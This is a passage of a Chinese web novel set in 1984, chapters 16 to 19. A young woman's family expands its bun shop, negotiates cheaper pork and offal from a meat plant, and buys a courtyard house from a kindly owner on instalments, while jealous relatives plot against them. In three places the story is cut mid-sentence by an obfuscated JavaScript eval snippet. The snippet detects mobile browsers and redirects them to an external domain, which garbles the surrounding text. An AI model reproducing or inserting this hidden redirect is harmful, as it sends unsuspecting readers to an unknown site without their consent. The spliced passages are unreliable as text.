赵桂花确实是舍不得老房子，毕竟住了小半辈子了。珊丫头说得那些也确实在理，别的不说，就家里整天没个人，她藏钱都不放心。虽然隔几天她就要去趟储蓄所，但是家里还是要放上一些随时用的钱。万一被偷了怎么办。 家里的生意越来越好，钱肯定越攒越多，保不齐现在就已经被人惦记上了。 再看看闺女们每天起早贪黑的，累得一个比一个瘦，赵桂花一咬牙一跺脚：“那、那行吧，你先看看有没有合适的房子再说。” “好嘞！”林珊开心地抱紧两人，决定明天就开始打听。 林富贵因为没有把儿子捞出来，厂里又一直拖着调岗的事不给准信儿，最近是焦头烂额，根本顾不上想怎么报复林珊一家。他给远在首都上学的林兰写了封信，把家里的近况一说，希望闺女能出出主意。 林兰也没辜负家里对她的希望，回了林富贵厚厚的一封信。 她先让她爹放宽心，慢慢来。反正事情已经到了这一步，二哥进去就进去吧，出来正好去做小买卖。这样既能把跟舅舅合伙倒卖赚的钱过到明路，又能给二哥立个改过自新的人设。 目前的重中之重还是在调岗上面。再多花些钱试试，实在不行就去找找杨清明他爷爷，虽然那老头原来是服装厂的，但是在纱厂也有不少门路，应该能帮上一些忙。 至于林珊那头，她特地嘱咐林富贵千万不能再轻举妄动了。那棒槌不简单，不能再用以前那种方式对付她们了，目前只要看着她们一家就行，其余的等自家实力雄厚一些再说。而且以后家里再做任何决定之前，一定要记得先跟她商量一下。 这封信就像是定心丸一样，让林富贵理清了一些方向。虽然他心里不甘，想现在就要报复赵桂花一家，但是闺女说了不让，他只好咬牙忍了。现在最重要的事情确实是调岗。 林珊、赵桂花都等给他着，等他发了大财，第一件事就是把那娘仨全卖到窑子里去！ 16. 第16章 傍晚的时候，郭有财准时来到了“爱国大肉包”。 他跟老伴儿的晚饭就是一人一个肉包，外加稀饭和炒青菜。有时候不想吃包子了，就带着老伴儿过来，两人一人一碗肉丝面。 林珊把包子给他装好，又送了一瓶自家腌的小萝卜咸菜。酸酸的很开胃，配上肉包子吃特别利口。 “唉，给这个干啥。”郭有财嘴里抱怨着，手却把瓶子拿得稳稳的。之前林珊给的那瓶正好快见底了，这丫头一定算着他差不多什么时候吃完来着。 “爷爷，有件事儿想拜托您。”林珊跟着郭有财来到一边，小声把自家想找房子的事情说了。 郭有财心里很是惊讶，这小丫头片子开铺子才多久，这都要开始买房了？按他平时对包子铺的观察，觉得这小地方一个月赚个三四百就已经顶天了。而且他也知道这娘仨没什么积蓄，难道找到别的挣钱路子了？ 他低声问：“买房子可不便宜，你手里的钱够吗？” 林珊不好意思地笑笑：“目前不够，来年五月份差不多。” 郭有财一愣，行吧，“你想找个什么样的？” 林珊：“不用太大，能有个小院子就行，最好离铺子也不要太远。您认识的人多，我想请您帮我们留意一下有没有合适的房子。” 郭有财想了想，“我帮了你这个忙，报酬怎么说？天底下可没有白使唤人的事儿。” 林珊笑了。郭有财不缺钱，没事儿就爱到处瞎晃，一张嘴说话就噎人。之前明明很喜欢吃她家包子，却从来不承认，非说是附近的饭太难吃，他才来买的。一开始送他咸菜也是明明很想试试，又非得装出一副嫌弃的模样。后来熟了之后，他说话才开始正常。总之是个有钱、脾气有点怪，但是人不坏的老爷爷。 “您说吧，只要能办到，我一定尽力办。” 郭有财这才笑呵呵地说：“也没什么，就是以后家里做什么好吃的了，记得先送来给我尝尝，让我先帮你们把把关。” 林珊乐道：“没问题！以后有什么好吃的，我第一个想到您！”想要吃的好办，只要愿意帮忙，让她做满汉全席都没问题。 郭有财拿着包子和咸菜回了家，老伴儿已经把稀饭和炒豆芽给做好了。两人吃着饭，他把林珊请他办的事儿说了。 郭有财的老伴儿比他年轻几岁，身体也特别硬朗，虽然不爱出去逛，但是也去林珊那吃过几回面，对这个孩子也有些了解，知道她们娘仨不容易，听说这就要买房了，她忍不住称赞起来：“真是个好孩子，人长得也好，又能干。诶，你说把她说给咱小孙子，有戏没有？” 郭有财的小孙子郭峰今年二十二，跟爹妈在粤省做生意，为人激灵得很，家里之前给他说过几个姑娘，都被这小子嫌弃了。 老伴儿说的这事，郭有财也不是没想过，但是不知道为什么，他总觉得他孙子降不住林珊那丫头。 “不好说，珊丫头聪明，咱孙子看着机灵，其实轴得很，我看人家不一定能看上他。” 郭奶奶不以为意，“咱孙子在外头走南闯北的，见过多少市面？珊丫头恐怕连咱安河都没出过，她再聪明能聪明到什么份儿上？还看不上我孙子？你说胡话呢？” 郭有财也不跟她打岔，只说：“这事儿随缘吧，等过年老二一家回来的时候，可以见见，行不行一眼就知道了。” 郭奶奶本来就是临时起意，没再纠结这个，问起他房子的事儿。郭有财边吃边想，一顿饭下来，心里已经有了几个目标。 晚上王军来“爱国大肉包”吃面的时候，听见林珊娘仨在说房子的事儿，他顿时震惊无比。 他是真没想到她们这么快就要找房子了，心里一时说不上来是什么滋味。林红娘仨过得好，他是打从心里高兴，可是一想到她要离开新兴胡同，又觉得空落落的。王军甚至有种奇怪的预感，总觉得这娘仨将来会越飞越远。 不过心里复杂归复杂，他决定要帮她们好好留意一下，买房子可是大事，三个女同志更要注意安全才行。 “不用麻烦了军哥，您平时这么忙，工作要紧，郭爷爷他时间多，我们拜托他就行了。”林珊不好意思再麻烦王军。 王军却一脸不赞同地说：“这有啥的，你们还跟我客气什么。就是一句话的事儿，费不了什么功夫。” 他都这么说了，林珊也不好再拒绝，毕竟就算她姐没那意思，两家也一直处得特别好。 真心感谢过王军后，林珊不着痕迹地偷瞄林红。 果然，她姐埋头整理着已经干净了的灶台，没有半点要闲下来的意思，眼睛都不敢抬，只盯着自己眼前那三分地儿。一副紧张又别扭的模样。 林珊忍不住叹气，人果然不能太害羞，瞧她姐把自己给累的，心里拒绝个人而已，她表现得像欠了人家一屁股债。 买房的事靠好了人，剩下的就该努力挣钱了。 林珊第二天忙完早上那顿，买了一条烟出去办事了。之前用的猪肉她都是去集市上买的，现在量越来越大，她就琢磨着跟肉联厂的人直接搭线。这样既能省些钱，还能买点儿下水。 穿越的哪有不对下水动心思的？真搞来了下水，猪杂面能卖，熟食卤肉也能卖。 总买她家包子的一位大爷在肉联厂上班，林珊之前请大爷帮忙牵线，后来等了一阵也没有消息，她以为这事儿黄了，结果今天一大早，大爷特地跑来通知她十点到厂子后门见面。 林珊开心地把事儿跟赵桂花和林红一说，买了条烟就去了肉联厂。 定的地方说是肉联厂后门，其实是后门的一家卖烧饼的铺子。林珊在门口等了不到十分钟，就见刘大爷带着一个穿着蓝色棉袄的中年男人过来了。 “来来来，小林，这是我们厂专门负责外销的江干事。”刘大爷笑呵呵地介绍两人认识。 林珊礼貌地叫人，江干事点点头，扶着眼镜上下打量她，脸上的表情明晃晃地写着：“开玩笑呢，找这么个小丫姑娘来谈买卖？” 林珊已经不是第一回被人这么对待了，她熟练地搬出之前的说辞：“叔，我确实年纪还小，要不是家里能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13748444|145383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顶事儿的都不在了，也轮不到我一个小丫头片子出来跟您谈买卖。不过您放心，我虽然小，说出去的话却是一个丁一卯，咱是就在这儿谈？还是进铺子谈？” 林珊说话的时候，脸上露出五分伤心，三分坚强，两分积极向上，任谁看了都觉得这是个懂事又靠谱的好孩子。尤其是当她用手指着烧饼铺子，满怀期待地看向江干事的时候，那眼神儿更是充满了真诚和尊重。 江国平被看得瞬间没了不满，再次扶着眼镜打量了林珊一番后，大手一挥：“进去聊。” 这烧饼铺子是江国平家亲戚开的，说话不怕被外头的人听见。这个时间也过了饭点，一个买烧饼的都没有，正是谈生意的好时机。 林珊开门见山，上来就把自己每天要用的肉量报给了江国平。 江国平稍微一掂量，就知道她那小店生意一定很好，“六毛五一斤。” 林珊笑了，“集市比您还便宜呢，您给说个实价吧。” “诶，你这丫头，我还诓你不成？”江国平佯装生气，“过完年肉要涨成七毛了，我这都给你少说了呢！” 林珊让他消消气，随后把布兜里装着的烟塞了过去，“我知道您肯出来跟我谈，是看在刘大爷的面子上，我们这种小本儿生意，一分一厘都得精打细算，您说的这个价对我们来说实在是太高了，请您再往下降降，六毛成吗？” 江国平刚被这一条烟给吸引注意，就被她这一声六毛给拉了回来，“六毛我还得给你搭钱！最低六毛四，不能再低了！” 林珊：“六毛三，各退一步嘛，就当您可怜我们娘仨了，以后您就是我们‘爱国大肉包’的至尊顾客，肉包、肉丝面随便吃。” 江国平没说话，直勾勾盯着林珊。现在他很确定这不是个什么都不懂的小丫头了。他之前批给老客户的是六毛二，由于过完年要涨价，所以统一都涨了一分。今天他本来是想多挣点儿的，结果这小丫头直接砍到了他的底价。 见江国平不吭声，林珊笑着说：“叔，我还想再买点儿大骨和下水，您给什么价？” 江国平不是很情愿地抱了个实价，他明白这丫头了解行情，也不玩虚的了。这么精明，长得还这么好看，以后生意肯定不会小，多个长期客户也不错。 林珊很满意大骨和下水价格，比集市便宜多了，于是直接跟江国平靠好了每天需要的量。 江国平干这种私活两年多了，一般都是在烧饼铺提货，不知情的以为这些都是来买烧饼的，知情的不是收了好处，就是不敢声张。再加上这两年管得没那么严了，很多人对这个基本都是睁一只眼闭一只眼。 毕竟物资紧缺，谁又还没有个求人买东西的时候呢。 谈好了买卖，林珊准备请两人去吃个饭，结果江国平和刘大爷都得回厂里忙，只好改天再说。她又跑去集市买了些当天要用的食材，然后赶回店里准备应对中午那波人潮。 大中午正忙着招待客人，邮递员突然送来一份领取包裹的单据。林珊一看寄件人和地址，好家伙，居然是贺领导。 17. 第17章 林珊忙完中午那一阵之后，跑去邮局把包裹取了回来。 这包裹一点不亚于她寄的那个，里三层外三层地拆开一看，里面都是省城的特产，有糕点，有腊肉，还有红扑扑的大苹果，满满当当一大箱。 旁边是一封信。 贺正岩先是感谢她们送来的特产，然后夸了包子味道很好，最后又表示了一把欣慰，希望她们娘仨一切顺利，生意兴隆。以后万一遇到什么难处了，记得写信或电话找他。半点没提他自己送的这些东西。 赵桂花看着这一堆吃的，忍不住感慨：“这么老多东西得花多少钱啊，可比咱送的那些贵重多了，贺领导真是个大好人。” 林珊也这么觉得，贺正岩不仅正直大方，非常照顾她们，字儿还写得特别好看。不是龙飞凤舞的草书，而是那种板正的楷体。都说字如其人，再想起上回那两个流氓被他制服的场景，她心里更加确信，贺正岩就是那种一心一意只想着为人民服务的人。 “咱回点儿什么好呢？人家寄了这么一大箱子。”赵桂花有些犯难，虽然贺领导信上说了不让她们再破费，但是人家给了这么多特产，她们不回点儿什么，会显得太没礼貌了。土特产上回已经寄过了，再回点儿包子也不够啊。 林珊想了想，决定包子、肉酱照旧，然后再安排上一些年货。 现在快接近年关了，各家各户过一阵就该动手准备年货了。她们可以提前开始准备，这样算上邮递的时间，正好能赶在年前送到。 安河市的年货其实主要是些蒸的花糕和包子，还有各种炸货，荤的素的，琳琅满目。这年头老百姓只有过年的时候才会吃上一些大鱼大肉。 林珊家虽然是卖大肉包的，但是也不是每天都有肉包吃。尤其是最近，肉包和面条几乎每天都不够卖，她们每天不是小咸菜配馒头，就是下点清汤面来吃。 就这已经非常不错了，很多人家连每天吃|精粮的标准都达不到。林珊记得她在后世的时候看过一个数据，好像八四年这会儿，老百姓平均一年的收入才四百块左右。大点儿的城市肯定比这个多，但不少偏远地带的人可能一年都没有一百块钱。 安河这地方虽然小，但并不偏僻，再加上这里厂子多，其实消费水平还是可以的。比不了省城，但在省里也算是能排得上号的。不过就她来看，安河多半是要没落的，等这些国营老厂一倒，日子可就难了，至于以后要靠什么发展，就很考验当地的父母官了。 林珊暂时还操不上这种国家大事的心，她明天除了买店里需要的东西，就得开始准备年货了。 赵桂花怕她一个人拿不了，借了邻居的三轮车跟她一块儿出来买。除了猪肉、鸡肉、带鱼，还有鸡蛋、面粉，另外土豆这些也需要买一些。 两人忙了半下午才满满当当回到铺子。备年货可不是小活儿，洗、切、调味，开炸，再加上又不能耽误卖饭，林珊娘仨花了好几天才把所有炸货都给准备好。 花糕还没准备，林珊也就不打算送了，炸货配上自家的大肉包和肉酱，已经满满一大箱了，她从贺正岩的信里能感觉出来，他应该是真喜欢吃自家的包子，不然也不会比别的东西多了个形容词。 所以这回肉酱少了一瓶，包子多了一些，炸货也每样都适当放了一些。再次包裹得严严实实之后，林珊夜里写了封信。 除了感谢的话，其实就是汇报近况，小店生意如何，年后准备怎么改进，另外她也把家里来年准备买房的打算写了进去。 贺正岩之前是她大哥的老连长，那时候俩人都在汉北省最东边的大营当兵。现在他的地址换成了省城，很明显是调过去了，林珊猜测多半还升了职。 贺正岩看着也就二十多岁，现在就已经比连长级别高了，这前途不言而喻，再加上他又极有可能是首都人，所以就算不考虑他对自家的照顾，林珊也会想要好好跟他建立一下友谊。更何况人家还对她们这么好，为人又这么正直善良。 有事没事多说说家里的情况，保持一下联系，才能慢慢培养出友谊。 又写了一些预祝新年快乐的词，再次邀请贺正岩有空来铺子吃饭之后，信算是写好了。装进箱子，封好口，第二天搬到邮局寄出去就完事。 邮局的同志说了，年前肯定能寄到，林珊自此算彻底放了心。 办完这些事儿，就真的快要到年关了。街上都比往常热闹了一些，集市上摆摊的更多了，自家铺子的生意也很不错，每天忙得不亦乐乎。 如果说唯一有什么不舒服的，就是林富贵那双阴了吧唧的眼睛，天天从窗户瞪人，他媳妇儿刘淑芬也整天发疯，大晚上不睡觉，站院子里指桑骂槐。目的就是为了让她们娘仨听。 赵桂花最近心情好，所以忍了几天，结果对方还不依不饶了，气得她披着棉袄直接冲到院子，吓得刘淑芬嗖一下缩回屋里，没敢再出声。俩人年轻的时候就干过仗，刘淑芬从来就不是赵桂花的对手，一见对方来真的，瞬间吓趴。 赵桂花既然开骂了，就没有简单来一场的道理，所以她站院子里把林富贵的祖宗十八代挨个问候了一遍，才回屋睡觉。 比起刘淑芬，林珊更在意林富贵那双阴森的眼睛，那模样都不需要解读，明晃晃写着“都给我等着，看老子以后怎么弄死你们”。 这狗东西除了让她更想买房之外，还生出了强烈的报复心。每天忙着挣钱顾不上其他，真把她当泥人儿了？行，过年铺子休息，正好可以抽出空来挖挖这老东西的底。 快过年了，在首都读大学的林兰和杨清明，忙完期末考试也要准备回家了。 杨清明拿着一大早排队买到的票，兴高采烈地去找林兰，结果刚来到宿舍门口，就要看见她跟一个男学生站在那聊天，笑得那叫一个明媚。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13748445|145383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >那男学生他知道，是学校大名鼎鼎的贺启明。虽然不认识，但是经常在学校听见这人今天干了什么，明天又要干什么，实打实的风云人物。 俩人站那么近是在干什么？ 杨清明心里一阵窝火，想都没想就大步冲了走去。 林兰正好侧对着他站，一抬眼就看见杨清明了，她非但没有半点心慌，反而很惊喜地冲他招招手，“清明！” 杨清明一肚子的火，瞬间化为乌有，走过去的步伐慢了下来，却更加铿锵有力。 “贺启明，我们法律系的师哥。杨清明，我老乡。”林兰大大方方介绍两人认识，暗地里却在观察贺启明的反应。 贺启明英俊帅气，自信非凡，一听是林兰老乡，立刻露出师哥专有的点头微笑。 杨清明原本还挺高兴林兰看见自己时的表现，结果还没开心两秒，就被那声“老乡”给弄蔫了，正儿八经谈对象到底有什么不能说的！ 看着贺启明伸来的手，他虽然也礼貌地握了回去，脸上的笑却带着些苦涩。 “有事吗清明？”林兰轻声问他。 杨清明把手里的票递过去，“票买到了，下周二的。” “太好了！谢谢！待会儿我把钱给你。”林兰接过票，露出那种亲切中带着客气的开心，看得杨清明特别不是滋味。 贺启明一看这个杨清明就知道这小子喜欢林兰，傻啦吧唧怵那儿半天不动弹，给他钱还不乐意。这种小子他见多了，窈窕淑女君子好逑，倒也无可厚非。 “我跟师哥还有点事情要谈，待会儿去找你行吗？”林兰礼貌地开口送客，杨清明一动不动站这儿太碍事了，万一他待会儿脑子一抽，说出一些不该说的话来就不烦人了，还是赶紧打发掉比较妥当。 贺启明这人不知道是博爱还是渣，好像一直把她当普通师妹，但又会时不时暧昧那么一小下，要不是她已经活过一辈子了，肯定早被这家伙给勾得意乱情迷了。 她上一世什么都不懂，高中毕业就去了纱厂上班，然后嫁了个同厂职工，虽然那人对她不错，但日子过得实在太平凡了，每天都是些柴米油盐芝麻绿豆大的事，烦死个人。她这辈子要当人上人，要让所有人都羡慕她！ 林兰知道自己不属于那种让人一看就惊艳的类型，但她懂男人。贺启明是有些难搞，但只要把他了解透了，总能找到下手的地方。 杨清明确实是一个不稳定的因素，但是目前还真不能把他踢掉。除了她爸的调岗需要杨家帮忙之外，她也得给自己留个后路。万一贺启明那边不成，杨清明就是她最低的归宿。 说起调岗的事，林兰就不由得想起林珊来了。她不确定那棒槌是重生还是中邪了，反正肯定不是原来的她了，不然不会突然开窍，一下子精明这么多。之前没把她放在眼里，才让她有机可乘，以后咱走着瞧，来日方长，有得是时间治她。 18. 第18章 林珊不知道首都有人也要开始治她了，她这两天除了忙店里的生意，就是看房子。 郭有财一共找到四户要卖房子的人家，林珊已经看过其中三家了，不是太小，就是太贵，要么就是太远，反正都不是很合适。 今天看得是第四家，位置就在铺子后面，确切地说是派出所后头。 “爷爷，我以前都不知道这块儿还有房子。”林珊一直以为铺子后面是财会学校和技校，没想到中间还隔着一小片人家。 郭有财笑道：“你不知道的事儿多了，后头那俩学校当年建的时候，是想把这儿拆了自己用的，但是有人不让啊。” “这里头有什么门道吗？”林珊好奇。 郭有财拐进小街道，指了指中间一户人家，“是因为这个杨老太，她有个好儿子在省里头当大官。听说当年打鬼子的时候家里还捐过不少钱，人家祖祖辈辈都是忠烈，你盖个学校就想拆人家老宅？再说了，这条街又没挡着大路，哪能你想拆就拆啊，天底下没有这样的道理。” 林珊点点头，感觉自己听了一小段权利的斗争。 这条小街道还真是不错，跟新兴胡同的宽窄差不多，但人家这可是水泥地面，而且还按了路灯。瞧着像是被派出所和两所学校团团围住了，但又保持着一定的距离，很安静，也很干净。 林珊一眼就喜欢上了这周围的环境，她细看了一下，这排一共才六户人家，家家都有独立的小院，门口和院子里还种着树，虽然还不知道是哪家要卖房，但她已经预感到自己即将找到梦中情房了。 “这家。”郭有财指了指杨老太右边的房子，率先登上门台敲门。 开门的是屋主陈德旺，他看起来跟郭有财差不多岁数，说是因为儿女都在别市工作，想把他接过去定居，所以才想把这栋老房子给卖了。 陈德旺平时住在城东，不怎么上这边来，导致这院子看着有些荒，墙角还有不少干枯的杂草，但是房子并不算旧，门窗也都挺好的。 院子四四方方，正屋坐北朝南。东边是单独盖的厨房，里面很宽敞。西边是空地，上头还有颗树，现在光溜溜的看不出来，陈德旺说是石榴树。西南角那个小屋是洗澡的地方，厕所在西北角，介于房子跟墙之间的过道里，站在院子中间是看不见的。 林珊还没正式进到主屋里，就已经很满意了。她知道自己应该保持冷静，但是控制不住啊。 她在后世的时候，就梦想将来可以买个有院子的房子，种种菜养养花，节假日的时候再跟朋友来上一顿小烧烤，那日子别提多美了。 随后等陈德旺领着他们进到主屋，林珊简单一看，当场就想拍板定下来。屋子东西各两间房，一个正儿八经的客厅，这种在这个年代看起来很标准的配置，却是林珊穿过来之后最想住的房子。 大杂院太憋屈了，她好想住这里。 屋子看得出来很久没人住了，有不少灰，但不是那种陈年老土，肯定是定期有在维护的。房子五几年建的，七几年翻新过一次，所以看着还挺新的。 林珊越看越满意，心里也不由得开始打鼓，这得多少钱啊？郭有财叫她来的时候，只说了一句不贵，具体多少没说。林珊觉得他的“不贵”，跟自己的标准应该相差挺多的。 “陈爷爷，您这房子打算卖多少钱呢？”林珊小声询问。 陈德旺非常和蔼地笑了笑，“我就不多要了，给四千吧，有财说你们娘仨不容易。听说前边那个包子铺是你开的？” “是，待会儿我请您吃大肉包！肉丝面也好吃！管够！”林珊笑得无比开心，四千块一点儿都不贵！之前看的那三家当中，有两家差不多是这个价，其中有一家稍微大点儿的，居然要到五千！但是那房子和环境，跟这个根本没有可比性。人家报价四千块，绝对是看在郭有财的面子。 “行啊，正好我也有点儿馋肉了。”陈德旺笑着点点头，问她：“怎么样，我瞧着你像是相中了？” “是，我一眼就相中了。”林珊感激地看着陈德旺，有些难为情，“您这房子特别好，我做梦都想住这样的房子，就是、就是——” “别‘就是’了，你们什么情况我早全都说了，现在钱不够，明年五月份才能凑个差不多，是不是？”郭有财开口打断她。 陈德旺笑着对林珊说：“孩子放心，房子你们可以先住，钱慢慢儿给就行，反正这地方闲着也是闲着。” “……”林珊彻底傻眼，满腔的情绪不知道该怎么表达，居然真的有人愿意让她们先住后给钱！ “傻了？”郭有财笑了。 “我、我不知道该说什么。”激动、感动、特别想哭。是真得哭，不是之前演得那种。 陈德旺开玩笑：“可别哭鼻子啊，我们两个老东西不会哄人。” 林珊被他这么一说，彻底绷不住了，眼眶瞬间泛红，眼泪吧嗒吧嗒往下掉。她真诚地看着两位老人，深深鞠下一躬：“陈爷爷、郭爷爷，真得特别特别感谢您二位！以后只要有用得到的我地方，您尽管开口！别的我暂时还办不到，‘爱国大肉包’永远对您二位免费！” 郭有财：“这么阔气？” 林珊猛点头。 陈德旺笑道：“把房子爱护好就行了，小姑娘家家的不容易啊。”他看林珊就像看见自己孙女一样，同样的年纪，一个还在蜜罐里长着，一个却早早开始在外谋生了。 口头谈好了租房子的事，林珊赶忙去店里把赵桂花和林红都叫来了。正好下午这会儿没人，索性暂时把铺子一关，一块儿去看看新家。 赵桂花一路都是懵的，她不相信竟然这么快就找到了房子了！而且人家还愿意让她们住进去！她活了大半辈子都没见过这种好人好事儿。 林红也跟她一样震惊，直到进了院子都不敢相信这是真的。 “我的老天爷啊！”赵桂花从进街道就开始惊叹，然后一路叹过大门、院子、厨房，等进了正屋之后，是彻底什么话都说不出话来了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13748446|145383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈德旺和郭有财都乐了，林珊把她摇醒，赵桂花泪如雨下，不敢相信这是真的，“您、您真愿意把这么好的房子卖给我们？我、我们家现在钱都还没有凑齐。” 陈德旺慈祥地看着母女三人，和蔼地说：“千真万确，要是没什么意见，咱们今天就可以把买卖给办妥了。” “没意见没意见！咱现在就办，现在就办！”赵桂花抹了把泪，看向林珊。这种买卖的事儿她不太懂，但是她闺女懂。 林珊想了想，对陈德旺说：“我先给您立个字据，等明年把钱都给齐之后，咱们再去区政府办过户，这样可以吗？” 陈德旺点头：“可以。” 林珊：“那这样，咱们先回铺子热乎热乎，我出去所借点纸笔和印泥，咱今天就把这事儿给办利索了？” “好。” 一行人来到“爱国大肉包”铺子里，赵桂花端上肉包、倒了杯热茶之后，开始跟两位老人唠家常。 林珊跑去隔壁派出所找王军借了些纸笔和印泥，告诉他自家找到房子了。 王军大惊：“这么快？” 林珊笑道：“郭爷爷认识的人，房子就跟咱们派出所隔了一个后院墙。” 王军知道那儿有几户人家，环境不错，又挺安全的，三个女同志住确实不错，而且又离包子铺这么近，出入是真方便多了。 “那地方不错，不过你们这么快就要买了？”不是说钱还不够吗？ 林珊把事情解释了一下，王军感慨道：“你们这是遇见好人了。房主叫什么名字，我看看我知道不。” 林珊：“陈德旺。” 王军听见这个名字，算是彻底放了心，“陈老爷子在这片很有名，你们运气不错。那既然都找到房子了，我也就不瞎忙活了。” 林珊连连摇头，“您帮我们的已经太多了，我都不知道该怎么报答才好了。” 王军笑道：“咱两家近到都快当亲戚走动了，你跟我这么客气干什么，还‘您’上了。” 林珊略微尴尬：“这样礼貌。” 王军打了个送客的手势，“赶紧忙去吧，别在这儿整这些有的没的了。” 林珊笑了，冲他摆摆手，小跑步离开了派出所。不管将来王军会不会成为她姐夫，她都会把他当亲大哥来处的。 回到铺子，林珊抽出一张纸开始起草合同。 旁边坐着的陈德旺和郭有财都闪过一丝惊讶，小丫头字写得好不说，条理还特别清楚。唰唰唰不一会儿就写完一大张。 陈德旺抽出老花镜细细一看，心里立刻竖起大拇指。本来他以为这种东西，只有他们这些老一辈的才会写，没想到这小丫头写得又快又全。 房屋情况标得一清二楚，付款方式写得明明白白，每月付多少，什么时候付清，而且她还主动提出要付利息。等所有钱都付清之后，又明确写到了要进行过户手续办理。 最后落款那里，也没忘要买方、卖方，还有见证人集体签字。 第19章【VIP】 第19章 第19章 敲定合同 “陈爷爷、郭爷爷, 您先看看这个草稿，有不妥的地方我再修改一下。”林珊把能想到的都写进去了，感觉应该没有什么遗漏的了。 利息是她之前在回铺子的路上就想好的, 这个必须要给，人家愿意让她们先住后给钱, 这是仁义，那么她在道义上就不能让对方吃亏。 郭有财看见利息的时候, 也挺惊讶，随之而来的就是对林珊的赞赏。懂得知恩图报, 又明白做生意的道道, 是个好苗子。 陈德旺笑笑，手指着利息那块儿, “这个地方划掉就行了, 其他的都没问题。” 林珊无比认真地说：“爷爷, 您这房子绝对不只四千块，而且您又答应让我们先住进来再慢慢付钱, 这是您的善意, 我们非常感激, 但是却不能接受得这么心安理得。这利息不多，是我们的一点小心意，希望您不要拒绝我们一家人对您善意的回应。” 陈德旺看了她一会儿，明白这丫头是真心实意的，他也就不再坚持了, “那行, 不过千万不要勉强，万一真遇到困难了，跟我说一声就行。” “好的, 谢谢您！”林珊开心地笑了笑，然后麻利地把合同一式三份。买方那里她让赵桂花签字，结果她妈怕自己写字不好看，非要让林珊签。 林珊笑着把笔按进她手里，“字好不好看不重要，重要的是得一家之主签名。”老房子还得卖掉，包子铺又是三个人一起出力弄的，买方那块儿写‘林珊’算怎么回事，虽然妈妈和姐姐不在乎，但是她却不能这么做。 赵桂花接过笔，一笔一划写上了自己的名字，然后一脸不放心地问：“行吗，我这么写。” 林珊给她比了个大拇指，陈德旺和郭有财都笑了。 “那后天上午十点钟，我先把一千块的首付给您，之后的钱是每月给您送家里，还是汇款呀？”林珊问陈德旺。 陈德旺腊月二十七就不在安河了，所以邮局汇款的方式更合适，他把自己在安河和别市的住址和联系方式，都写给林珊之后，直接掏出钥匙，“你先拿着吧，不差这两天。” 林珊犹豫了一下，把钥匙收了，“谢谢您这么信任我们。” 陈德旺一摆手，“不说了，好好喝会儿茶，尝尝你这大肉包。” 郭有财指着纯肉的那个说：“这个好吃。” “哎呦！”赵桂花一拍大腿，“瞧我糊涂的，我赶紧再炒几个菜，珊丫头你去买瓶酒去！” “别别别！千万别麻烦，我吃个包子还得赶紧回去，有别的事儿要忙。”陈德旺拦住这母女俩。 郭有财也说：“不在这一时半会儿，下午你们还得做生意，挣钱要紧。” “这……”赵桂花觉得办了这么的大事，连让人家吃顿饭都没有，有点儿不好意思。 林珊知道两位爷爷不是那种假客气的人，笑道：“好，那咱就下回再吃，我们欠两位爷爷一顿大的。” 陈德旺和郭有财都笑了，吃完包子，夸奖了一番味道之后，相伴离开铺子。 “来，你俩掐掐我，看看我是不是在做梦。”赵桂花还是不敢相信，这么快就把买房子这种大事给定了。 林珊没掐她，拿着钥匙在她眼前晃了晃，“真实吗？” 赵桂花一把握住钥匙，感叹了一会儿人生，然后突然问林珊：“你刚才为啥提利息，那得多少钱啊？” “两百八十九。”林珊拍拍她的肩膀，“放心吧，咱占大便宜了，这房子换别人至少卖五千五起步。” “老天爷！这么贵谁买得起！”赵桂花惊叹完，顿时又觉得这利息花得不算多了，再说人家还让她们先住，天底下就没有这样的好事儿！ 林红也好开心自家买到了新房，她忍不住问林珊：“你以后睡哪个屋？” 林珊笑了，想得有点远啊，“我睡哪儿都行，反正新房子不漏风。” 林红笑笑，她也住哪儿都行，新房子大，屋子里刷的还都是白墙，到处亮堂堂的，睡哪儿都特别好。 新房子暂时敲定，接下来就得着手卖老房子的事儿了，不然到明年五月份这四千多可付不完。卖完下午这顿之后，林珊跟赵桂花一块儿找到了邻居周婶子，让她帮忙留意一下有没有人要买房，价格暂定一千二。 周婶子惊讶得缓了半天，她是怎么也不会想到林老二家有一天会发，靠得还是之前最不成器的珊丫头！从卖包子开始，到开包子铺，再到现在要搬新家卖旧房，这才多久啊。 半年多前爱国没了的时候，她真以为这家人算是彻底完了，家里一个顶事儿的都没有，以后的日子可怎么过啊。 没想到珊丫头还真就立起来了！领着赵桂花卖包子，还把自己姐姐也接了回来，三个女同志硬生生干到这个地步，她是打从心里感到佩服。 “珊丫头是个有本事的，桂花老姐姐啊，你以后可真是要享福咯。” 